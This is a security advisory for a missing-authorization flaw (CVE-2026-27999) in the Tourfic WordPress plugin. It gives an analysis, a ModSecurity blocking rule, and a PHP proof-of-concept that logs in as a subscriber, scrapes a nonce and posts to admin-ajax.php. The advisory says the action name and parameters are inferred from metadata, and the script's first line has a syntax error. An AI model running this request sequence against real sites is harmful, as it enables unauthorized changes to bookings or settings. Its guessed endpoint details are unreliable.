Atomic Edge analysis of CVE-2026-27999 (metadata-based): The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin is vulnerable to unauthorized action due to a missing capability check in versions up to 2.23.1. The flaw is classified as CWE-862 (Missing Authorization) and has a CVSS score of 4.3 (medium). An authenticated attacker with subscriber-level privileges can invoke a specific function without the required permission, leading to an unauthorized change in the application.
Root Cause: Based on the CWE classification and the vulnerability description, the root cause is a function that performs an action without first verifying the current user’s capabilities. WordPress commonly exposes such functions through AJAX handlers, admin-post handlers, or REST endpoints. The missing check likely involves a callback that lacks a capabilities check or current_user_can() call, or uses a nonce that is not sufficient to enforce authorization. Since no code diff is available, Atomic Edge research infers the vulnerable pattern from the CWE and typical WordPress plugin architecture; the description confirms that the missing check exists and affects subscribers.
Exploitation: An authenticated user with subscriber-level access can send a crafted HTTP request to the vulnerable endpoint. The exact AJAX action or REST route is not specified in the metadata, but common patterns in Tourfic include actions like tourfic_{function_name} under /wp-admin/admin-ajax.php. The attacker would need to include a valid nonce if the handler requires it, but the missing authorization check suggests that nonce validation alone is insufficient, or no authentication check is performed beyond login. A typical payload would be a POST to /wp-admin/admin-ajax.php with action=tourfic_some_action and relevant parameters (e.g., post ID or settings). The attacker does not need any special capabilities beyond subscriber.
Remediation: The fix in version 2.23.2 likely adds a capability check to the vulnerable function. The plugin should call current_user_can() with the appropriate capability, such as edit_posts or manage_options, before executing the action. Additionally, the plugin should verify a valid nonce for additional CSRF protection, though the primary issue is the missing authorization. The PHP code should include an early exit or error response if the current user lacks the required capability.
Impact: Successful exploitation allows a subscriber to perform an unauthorized action that could lead to unauthorized changes in the application. The CVSS vector indicates low integrity impact, meaning the attacker may be able to modify data (e.g., settings, bookings, or other content) without affecting confidentiality or availability. The exact business impact depends on which function is vulnerable, but it could allow alteration of hotel or car rental bookings, settings, or other plugin data, potentially leading to data integrity issues or further attacks if combined with other vulnerabilities.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-27999 (metadata-based)
# The vulnerability is a missing capability check in an AJAX handler.
# The exact action name is not known from metadata, but we can infer a pattern from the plugin slug.
# This rule blocks AJAX requests to admin-ajax.php where the action starts with 'tourfic' and includes 'update' or 'delete'.
# Adjust the rule if the actual action is different.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261999,phase:2,deny,status:403,chain,msg:'CVE-2026-27999 via Tourfic AJAX',severity:'CRITICAL',tag:'CVE-2026-27999'"
SecRule ARGS_POST:action "@rx ^tourfic_(?:update|delete)"
"t:none,t:lowercase,chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27999 - Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin <= 2.23.1 - Missing Authorization
// Assumptions: The vulnerable function is exposed via an AJAX action. The action name is inferred from common Tourfic patterns; adjust if needed.
target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Replace with actual target
$username = 'subscriber_username';
$password = 'subscriber_password';
$action = 'tourfic_booking_update'; // Inferred action; adjust to match the vulnerable function
// Step 1: Authenticate to obtain cookies and nonce
$login_url = 'http://example.com/wp-login.php';
$login_data = array('log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => 'http://example.com/wp-admin/', 'testcookie' => '1');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Fetch the admin page to extract a nonce (if required)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_page = curl_exec($ch);
curl_close($ch);
// Extract nonce (regex generic; adjust to match the plugin's nonce field)
preg_match('/name="_wpnonce" value="([^"]+)"/', $admin_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
// Step 3: Send the AJAX request without proper authorization
$data = array(
'action' => $action,
'nonce' => $nonce, // If nonce is not required, this can be empty
// Additional parameters the vulnerable function expects, e.g., 'post_id' => 123
'post_id' => 123
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Output the response for verification
echo $response;
